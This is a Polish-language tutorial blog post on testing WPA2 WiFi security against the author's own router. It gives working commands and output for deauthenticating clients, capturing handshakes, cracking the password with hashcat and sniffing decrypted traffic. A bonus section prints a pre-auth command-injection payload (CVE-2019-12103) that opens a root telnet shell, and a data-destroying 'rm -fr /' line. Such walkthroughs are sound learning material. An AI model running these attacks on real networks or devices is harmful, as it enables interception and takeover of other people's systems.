WiFi Hack'n & Crack'n
Ten artykuł jest przeznaczony dla wszystkich osób, które rozpoczynają swoją przygodę z cyberbezpieczeństwem i chcą nauczyć się obsługi narzędzi do testowania zabezpieczeń sieci bezprzewodowych WiFi (802.11).
Uwaga
Hackowanie jakichkolwiek sieci bezprzewodowych bez odpowiedniej autoryzacji jest nielegalne i może skutkować odpowiedzialnością karną. Urządzenia wykorzystane w poniższym artykule należą wyłącznie do autora artykułu.
Nielegalne jest używanie technik tutaj opisanych do:
- podsłuchiwania ruchu sieciowego sąsiada
- prowadzenia nielegalnej działalności gospodarczej
- niepłacenia abonamentu internetowego
- wszelkich podobnych zabaw
0x0: Konfiguracja sprzętowa i narzędzia
Zanim zaczniemy temat, warto ustalić, jaki hardware będzie Ci potrzebny do przeprowadzenia podanych dalej ataków. Niektóre wbudowane karty sieciowe w laptopach i płytach głównych mogą zadziałać, ale rekomendowane są karty sieciowe:
- Atheros (ath9k_htc) na starym chipsecie
- Ralink (rt2800usb) na starym chipsecie
- MediaTek (mt76), zależnie od urządzenia oraz kernela
- Realtek (rtl8xxxu), zależnie od urządzenia oraz kernela
Po podłączeniu karty sieciowej do urządzenia z Linuxem, należy przede wszystkim upewnić się,
że demony systemowe nie będą nam ingerowały w zachowanie karty sieciowej. W przypadku systemu
z NetworkManagerem wymagana jest jedynie komenda nmcli dev set wlan1 managed no
(interfejs wlan1 zastąpić odpowiednim interfejsem; można go zidentyfikować za pomocą komendy iw dev).
Do naszych badań będziemy korzystać z Wiresharka oraz suite’a narzędzi hcxtools, które są nowszymi, lepiej utrzymanymi odpowiednikami narzędzi ze znanego airmon-a.
0x1: Identyfikujemy cel
Narzędzie hcxdumptool daje nam w zasadzie dwie możliwości identyfikowania sieci bezprzewodowych.
Pierwszym typem skanu jest skan pasywny (--rcascan=passive), który skacze po wszystkich
dostępnych na karcie sieciowej kanałach co sekundę i identyfikuje ESSID sieci na podstawie
broadcastowanych beaconów. Za pomocą takiego skanu, nasze urządzenie nie wysyła żadnych pakietów,
więc skan nie jest nawet w najmniejszej ilości intruzywny. Flaga -i odpowiada naszemu
interfejsowi sieciowemu, a flaga -F oznacza, że chcemy żeby hcxdumptool skakał po wszystkich pasmach i kanałach co sekundę.
$ sudo hcxdumptool -i wlan1 -F --rcascan=passive
CHA FREQ BEACON RESPONSE S MAC-AP ESSID SCAN-FREQUENCY: 5220
--------------------------------------------------------------------------
1 2412 20:54:13 20:54:13 + 98ded07ade8b TP-LINK_DE8B [88]
^C
170 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
88 PROBERESPONSE(s) captured
exit on sigtermJak za to widać, skan pasywny nie jest najlepszy w identyfikowaniu wszystkich dostępnych sieci.
Możliwe, że podczas hopsasania po częstotliwościach hcxdumptool po prostu nie będzie na
dobrym paśmie i kanale we właściwym czasie, i ominie broadcast routera, co skutkuje
brakiem ESSID na liście w narzędziu.
Drugim typem skanu, który umożliwia lepszą identyfikację sieci, jest skan aktywny
--rcascan=active. Podczas skanu aktywnego hcxdumptool także skacze po wszystkich
częstotliwościach dostępnych na naszej karcie sieciowej, ale wysyła tzw. Broadcast
Probe Requesty, które są zapytaniem klienta o dostępne sieci w zasięgu. Wysyłanie
takich requestów jest najnormalniejszą częścią odkrywania i łączenia się z sieciami
bezprzewodowymi i są one wysyłane przez każde “normalne” urządzenie, więc skan tego
typu możemy bezpiecznie przeprowadzić nie wymagając żadnej autoryzacji.
sudo hcxdumptool -i wlan1 -F --rcascan=active
CHA FREQ BEACON RESPONSE S MAC-AP ESSID SCAN-FREQUENCY: 2484
--------------------------------------------------------------------------
11 2462 20:48:19 + 7bc3de45f944 [0]
8 2447 20:48:17 + 54781ca301dd Zyxel_1234 [0]
2 2417 20:48:15 + 52ff20370bd2 [0]
2 2417 20:48:15 + 502f203701d2 nieinterere [0]
52 5260 20:48:06 + 8d9ebc0fcd9e [0]
52 5260 20:48:06 + 73d7d4630059 Zyxel_1234 [0]
40 5200 20:48:05 + c4ada6d9399d internet [0]
40 5200 20:48:05 + 6d18b50fdeb4 [0]
40 5200 20:48:05 + 0b11e771b09f [0]
8 2447 20:48:02 + ad8382c0b253 NieTwojeWifi-4321 [0]
1 2412 20:54:13 + 98ded07ade8b TP-LINK_DE8B [0]
^C
2780 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
exit on sigtermJak widać, skan aktywny jest w stanie zidentyfikować znacznie większą liczbę sieci bezprzewodowych, i jako że skany tego typu są dosyć standardowe, to można je bezpiecznie przeprowadzać.
0x2: Cel namierzony
Filtrowanie pakietów sieciowych
Wymagana jest uprzednia autoryzacja właściciela access pointu oraz poprawne stosowanie
filtrów BPF przed kontynuowaniem replikowania ataków w tej sekcji. Bez poprawnego filtrowania,
narzędzie hcxdumptool może atakować sieci od których nie mamy autoryzacji właścicieli.
Ataki te są bardzo oczywiste dla kogokolwiek monitorującego daną częstotliwość,
a nawet dla urządzeń końcowych użytkowników.
Urządzeniez którym jesteśmy zainteresowani, jest routerem firmy TP-Link o ESSID “TP-LINK_DE8B”
i BSSID “98ded07ade8b”, i jest na paśmie 2.4 GHz na kanale 1. Skoro mamy już namierzone
dane routera, musimy poprawnie skonfigurować hcxdumptoola, żeby przypadkiem nie
interferować z innymi sieciami.
Nasze narzędzie obsługuje tzw. BPF, czyli Berkeley Packet Filter, który umożliwia filtrowanie
pakietów sieciowych na systemach z systemem Linux. Za pomocą tego mechanizmu możemy
skompilować filtr po BSSID naszego routera. Wtedy hcxdumptool nie będzie dostawał
nawet pakietów od innych routerów. Polecam poniższy filtr, jako że przepuszcza on tylko te
pakiety, które są wymagane do przeprowadzenia wszystkich trzech typów ataków, które
hcxdumptool obsługuje.
$ hcxdumptool --bpfc="wlan addr3 98ded07ade8b || (wlan type mgt && subtype probe-req)" > tplink.bpfSkompilowany w ten sposób filtr możemy załadować do dowolnej komendy hcxdumptool za
pomocą flagi --bpf=tplink.bpf.
0x3: Atakujemy access point
Narzędzie hxdumptool wymaga nagrania sesji uwierzytelnienia urządzenia klienckiego z
routerem celem wygenerowania hasha hasła. Jako że w większości przypadków urządzenie klienckie będzie już
uwierzytelnione, to w jakiś sposób trzeba je rozłączyć. Narzędzie postara się to
spowodować, podszywając się pod urządzenie klienckie i wysyłając ramkę DEAUTHENTICATE.
Ramka ta spowoduje nagłe rozłączenie urządzenia klienckiego, które naturalnie postara
się natychmiast odzyskać połączenie, wykonując ponowne uwierzytelnienie z access pointem.
Do komendy wykorzystujemy nasz uprzednio skompilowany filtr BPF, który przekazujemy za
pomocą flagi “--bpf”, przekazujemy też kanał, na którym znajduje się nasz access point
-c, oraz zapisujemy cały traffic na naszym interfejsie sieciowym do pliku za pomocą
-w tplink.pcapng.
$ sudo hcxdumptool -i wlan1 -c 5a --bpf=tplink.bpf -w tplink.pcapng
CHA LAST R 1 3 P S MAC-AP ESSID (last seen on top) SCAN-FREQUENCY: 2412
-----------------------------------------------------------------------------------------
1 21:46:26 + + + + 98ded07ade8b TP-LINK_DE8B
LAST E 2 MAC-AP-ROGUE MAC-CLIENT ESSID (last seen on top)
-----------------------------------------------------------------------------------------
21:45:50 + 98ded07ade8b be7e3d2ed946 TP-LINK_DE8B
^C
2183 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
1 SHB written to pcapng dumpfile
1 IDB written to pcapng dumpfile
1 ECB written to pcapng dumpfile
56 EPB written to pcapng dumpfile
Taka duża liczba ramek jest niemalże zawsze jednoznaczna z próbą odłączenia urządzenia klienckiego od routera, dlatego atak ten jest bardzo łatwo wykrywalny i absolutnie nigdy nie powinien zostać przeprowadzony na sieciach, na których nie mamy jawnej zgody do przeprowadzania takich manewrów.

Może i atak jest bardzo łatwo wykrywalny, ale jakże skuteczny! Mamy teraz wszystkie 4 ramki uwierzytelnienia EAPOL, na których możemy dalej operować.
Atak pasywny
Zamiast przeprowadzania aktywnego ataku, można też najzwyczajniej siedzieć na kanale, na którym znajduje się nasz cel, i zapisywać wszystkie pakiety z nadzieją, że jakieś urządzenie zaraz wróci do mieszkania i połączy się ze swoim access pointem. Także zaskutkuje to 4 pakietami EAPOL.
0x4: Testujemy hasło access pointu
Czy zmieniłeś kiedyś defaultowe hasło na access poincie? Oczywiście, że nie. Znaczna większość użytkowników nawet nie zaloguje się do portalu administracyjnego swojego urządzenia, a co dopiero samowolnie zmieni hasło administratora i hasło do Wi-Fi.
Znaczna większość dostawców Internetu w tych czasach natomiast ustawia relatywnie dobre domyślne hasła. Aczkolwiek, większość routerów zakupionych na własną rękę będzie miała znacznie prostsze i krótsze hasła. Zasoby dotyczące domyślnych formatów haseł da się w łatwy sposób znaleźć w Internecie. Dla niektórych urządzeń, mogą być to nawet hasła o minimalnej długości (8 znaków) składające się wyłącznie z cyfr. No to co, sprawdźmy!
Najpierw musimy zbudować hash na podstawie ramek uwierzytelniających. Możemy to
zrobić za pomocą narzędzia z pakietu hcxtools, mianowicie hcxpcapngtool.
$ hcxpcapngtool -o tplink.hc22000 tplink.pcapngSkutkuje to wygenerowaniem pliku tplink.hc22000, kompatybilnego z narzędziem
hashcat. Tak wygląda hash naszego hasła:
WPA*02*88f07dc8c9e84275a2073c4d93c9ab25*98ded07ade8b*be7e3d2ed946*54502d4c494e4b5f44453842*316d20185e5d9dc4d0c9c50e064ad9a23ee33ddcedc272e58998f119dc9738c1*0103007502010a0000000000000000ffd55b214e02f33cd965748ab65b8f39e513790329d0d5b5c00bc275229a59849fbb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac028000*10Następnie możemy na naszym pliku z hashem w formacie hc22000 puścić hashcata w
ramach “odzyskania” naszego hasła, korzystając z wbudowanego generatora haseł na
podstawie zasad. Kombinacja flag -a 3 --increment ?d?d?d?d?d?d?d?d?d?d?d?d
zaskutkuje generacją haseł o długości 8 do 12 znaków, składających się wyłącznie z cyfr.
$ hashcat -m 22000 tplink.hc22000 -a 3 --increment ?d?d?d?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting
OpenCL API (OpenCL 2.1 AMD-APP (3652.0)) - Platform #1 [Advanced Micro Devices, Inc.]
=====================================================================================
* Device #1: AMD Radeon RX 7900 XT, 20352/20464 MB (17394 MB allocatable), 42MCU
* Device #2: AMD Radeon(TM) Graphics, 6176/12459 MB (5077 MB allocatable), 1MCU
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1756 MB
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
Session..........: hashcat
Status...........: Running
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: tplink.hc22000
Time.Started.....: Tue Jul 08 22:15:00 2025 (35 secs)
Time.Estimated...: Tue Jul 08 22:16:18 2025 (43 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/5 (20.00%)
Speed.#1.........: 1266.3 kH/s (8.23ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#2.........: 27928 H/s (8.85ms) @ Accel:128 Loops:32 Thr:256 Vec:1
Speed.#*.........: 1294.2 kH/s
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 44130304/100000000 (44.13%)
Rejected.........: 0/44130304 (0.00%)
Restore.Point....: 1613824/10000000 (16.14%)
Restore.Sub.#1...: Salt:0 Amplifier:1-2 Iteration:2816-3072
Restore.Sub.#2...: Salt:0 Amplifier:9-10 Iteration:608-640
Candidate.Engine.: Device Generator
Candidates.#1....: 00026413 -> 05419551
Candidates.#2....: 68111531 -> 67982982
Hardware.Mon.#1..: Temp: 63c Fan: 33% Util:100% Core:2444MHz Mem:2487MHz Bus:16
Hardware.Mon.#2..: Temp: 0c Fan: 0% Util:100% Core:2200MHz Mem:3000MHz Bus:16
88f07dc8c9e84275a2073c4d93c9ab25:98ded07ade8b:be7e3d2ed946:TP-LINK_DE8B:22874363
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: tplink.hc22000
Time.Started.....: Tue Jul 08 22:15:00 2025 (1 min, 8 secs)
Time.Estimated...: Tue Jul 08 22:16:08 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/5 (20.00%)
Speed.#1.........: 1262.5 kH/s (8.27ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#2.........: 27947 H/s (8.85ms) @ Accel:128 Loops:32 Thr:256 Vec:1
Speed.#*.........: 1290.4 kH/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 86679552/100000000 (86.68%)
Rejected.........: 0/86679552 (0.00%)
Restore.Point....: 6184960/10000000 (61.85%)
Restore.Sub.#1...: Salt:0 Amplifier:2-3 Iteration:0-1
Restore.Sub.#2...: Salt:0 Amplifier:7-8 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 24414184 -> 23057384
Candidates.#2....: 86308658 -> 85125381
Hardware.Mon.#1..: Temp: 69c Fan: 60% Util: 91% Core:1668MHz Mem:2487MHz Bus:16
Hardware.Mon.#2..: Temp: 0c Fan: 0% Util: 0% Core: 600MHz Mem:3000MHz Bus:16
Started: Tue Jul 08 22:14:51 2025
Stopped: Tue Jul 08 22:16:09 2025Gratulacje! Hasło naszego access pointa wytrzymało aż 1 minutę i 18 sekund!
0x5: Hasło “odzyskane”, co teraz???
Jeżeli celem jest połączenie się z siecią i przeprowadzanie dalszych autoryzowanych testów penetracyjnych, to temat crackowania hashy wpa2-psk można uznać za zamknięty. Z poziomu Wi-Fi można natomiast jeszcze przeprowadzić kilka różnych zabiegów, np. podsłuchiwać ruch sieciowy.
Za pomocą Wiresharka możemy w tabie Edit > Preferences > Protocols > IEEE 802.11
włączyć deszyfrowanie i wprowadzić nasze hasło oraz ESSID sieci.

Umożliwi to Wiresharkowi odszyfrowywanie ramek sieciowych i wyświetlanie odpowiadającego im ruchu sieciowego:

Na szczęście w dzisiejszych czasach szyfrowanie TLS jest dosyć powszechne, więc nie da się wiedzieć dokładnie co przeglądają urządzenia klilenckie. Można natomiast dalej podglądać nieszyfrowane requesty DNS, broadcasty MDNS, requesty HTTP i wszelki pozostały nieszyfrowany traffic.
0x06: BONUS CONTENT - Router nie updateowany od 9 lat, czyli backdoor time
Większość konsumenckich routerów posiada interfejs sieciowy umożliwiający
prostą konfigurację bez potrzeby instalacji żadnego dodatkowego oprogramowania.
W większości przypadków, będzie to po prostu port 80 na defaultowym gateway-u,
którego adres możemy sprawdzić komendą ip:
$ ip r
default via 192.168.0.1 dev wlan0 proto dhcp src 192.168.0.131 metric 600
192.168.0.0/24 dev wlan0 proto kernel scope link src 192.168.0.131 metric 600Po wejściu na http://192.168.0.1:80/ jesteśmy powitani ślicznym interfejsem TP-Linka.

Bardzo polecam na stronach konfiguracji konsumenckich routerów otworzyć sobie zakładkę “Network” w Firefoxie czy Chromie, jako że bardzo często możemy dowiedzieć się z niej ciekawych rzeczy o urządzeniu.

Pierwszy request do qcmap_web_cgi:
{
"language": "en",
"result": 0
}No dobrze, to akurat nie jest aż tak przydatna informacja.
Drugi request:
{
"factoryDefault": false,
"deviceInfo": {
"productID": "73501003",
"productRegion": "EU",
"model": "M7350",
"hardwareVer": "M7350(EU) v3.0",
"firmwareVer": "1.1.1 Build 160330 Rel.1002n",
"mac": "98:DE:D0:7A:DE:8B"
},
"battery": {
"connected": true,
"charging": false,
"voltage": 61
},
"wan": {
"dualIPVersionSupport": true,
"connectMode": 1,
"registerStatus": 1,
"connectStatus": 4,
"ipv4": "10.76.73.148",
"dns1v4": "89.108.195.20",
"dns2v4": "185.89.185.1",
"ipv6": "0.0.0.0",
"dns1v6": "0.0.0.0",
"dns2v6": "0.0.0.0",
"networkType": 3,
"roaming": 0,
"signalStrength": 3,
"roamingEnabled": true,
"totalStatistics": "1040889522855.000000",
"dailyStatistics": "511778.000000",
"enablePaymentDay": false,
"txSpeed": "0",
"rxSpeed": "0",
"totalConnTime": "26073960",
"limitType": 0,
"dataLimit": 0,
"simStatus": 3,
"operator": 10,
"operatorName": "PLAY"
},
"wlan": {
"enable": 1,
"channel": 0,
"ssid": "TP-LINK_DE8B",
"region": "DE",
"mode": 1,
"bandType": 0
},
"connectedDevices": {
"number": 1
},
"message": {
"unreadMessages": 36
},
"sdcard": {
"status": 0,
"mode": 0,
"volume": "",
"used": "",
"left": ""
},
"result": 0
}No ojoj, tutaj już mamy ewidentnie information disclosure. Znamy operatora routera, uplink/downlink speed, numer seryjny urządzenia oraz nawet stan naładowania baterii. Bez żadnego uwierzytelnienia.
Request 3 był identyczny, w związku z tym popatrzmy na request 4 do qcmap_auth:
{
"authedIP": "0.0.0.0",
"nonce": "B4nuCvtUDTBqIJQH",
"result": 1
}Nic ciekawego.
Request 5:
{
"remainAttempts": 10,
"totalAttempts": 10,
"loginDisabledInterval": 7200,
"loginDisabledRemainTime": 0,
"result": 0
}Bardzo ważna informacja. Wiemy teraz, że brute-forcowanie hasła urządzenia najprawdopodobniej zakończy się porażką, jako że mamy tylko 10 prób uwierzytelnienia.
Powrócmy w takim razie do informacji, którą uzyskaliśmy z poprzedniego web requesta, a chodzi o model routera oraz jego wersję oprogramowania. Szybki search w Google i mamy link do opencve.io: https://app.opencve.io/cve/?product=m7350_firmware&vendor=tp-link

Ojoj. Nasz router ma wersję oprogramowania 160330, czyli jest podatny na… wszystko.
Szczególnie interesujące dla nas jest pre-authentication command injection, jako że pozwoli
nam na zrobienie sobie backdoora w urządzeniu. Autor oryginalnego artykułu o CVE-2019-12103
sugeruje uruchomienie daemona telnetu.
$ curl -X POST http://192.168.0.1/cgi-bin/qcmap_web_cgi -H "Host: 192.168.0.1" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" -H "Accept: application/json, text/javascript, */*; q=0.01" -H "Accept-Language: en-GB,en;q=0.5" -H "Accept-Encoding: gzip, deflate" -H "Referer: http://192.168.0.1/settings.html" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -H "Connection: close" -d '{"module":"webServer","action":1,"language":"\$(busybox telnetd)"}='Niemożliwe, że to jest aż tak łatwe, prawda?
$ sudo nmap -sS 192.168.0.1
[sudo] password for mmm:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-26 22:06 +0200
Nmap scan report for 192.168.0.1
Host is up (0.010s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
MAC Address: 98:DE:D0:7A:DE:8B (TP-Link Technologies)
Nmap done: 1 IP address (1 host up) scanned in 2.04 secondsA jednak, na naszym routerku mamy odpalonego teraz telneta.
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
OpenEmbedded Linux mdm9625
msm 20160330 mdm9625
mdm9625 login: root
Password:
mdm9625:~# whoami
rootLogin i hasło strzeliłem; root i brak hasła.
Od tego momentu możemy w zasadzie zrobić wszystko. Przechwytywać cały ruch sieciowy,
modyfikować requesty oraz responsy HTTP, podmienić serwery DNS, albo po prostu zmienić router w
cegłę usuwając pakiet języka francuskiego
z urządzenia za pomocą sudo rm -fr / --no-preserve-root.
0x07: Podsumowanie
Temat WPA-2 PSK jest bardzo obszerny i ciekawy. Z góry polecam w wolnym czasie spróbować samemu odtworzyć przedstawione tutaj zagadnienia (tylko i wyłącznie na swoim własnym routerze). Bardzo polecam przy tym zakup porządnej zewnętrznej karty sieciowej, jako że używanie niezalecanych kart sieciowych często się kończy tym, że po prostu nie działają ona kompletnie do celów do jakich staramy się ich użyć (a wyglądają jakby działały).
Poza tym chciałbym przestrzec wszystkich przed korzystaniem z jakiegokolwiek starego lub nieaktualizowanego urządzenia sieciowego. Znaczna większość access pointów w dzisiejszych czasach obsługuje WPA3, w którym do tej pory nie została opracowana żadna metoda ekstraktowania hashy haseł, hasła są (z reguły) o wiele dłuższe i bardziej skomplikowane, a urządzenia konsumenckie aktualizują się same.
Źródła
- https://github.com/hashcat/hashcat
- https://github.com/ZerBea/hcxtools
- https://github.com/ZerBea/hcxdumptool/discussions/388
- https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- https://wiki.wireshark.org/HowToDecrypt802.11
- https://www.pentestpartners.com/security-blog/cve-2019-12103-analysis-of-a-pre-auth-rce-on-the-tp-link-m7350-with-ghidra/
- http://192.168.0.1/ (xd)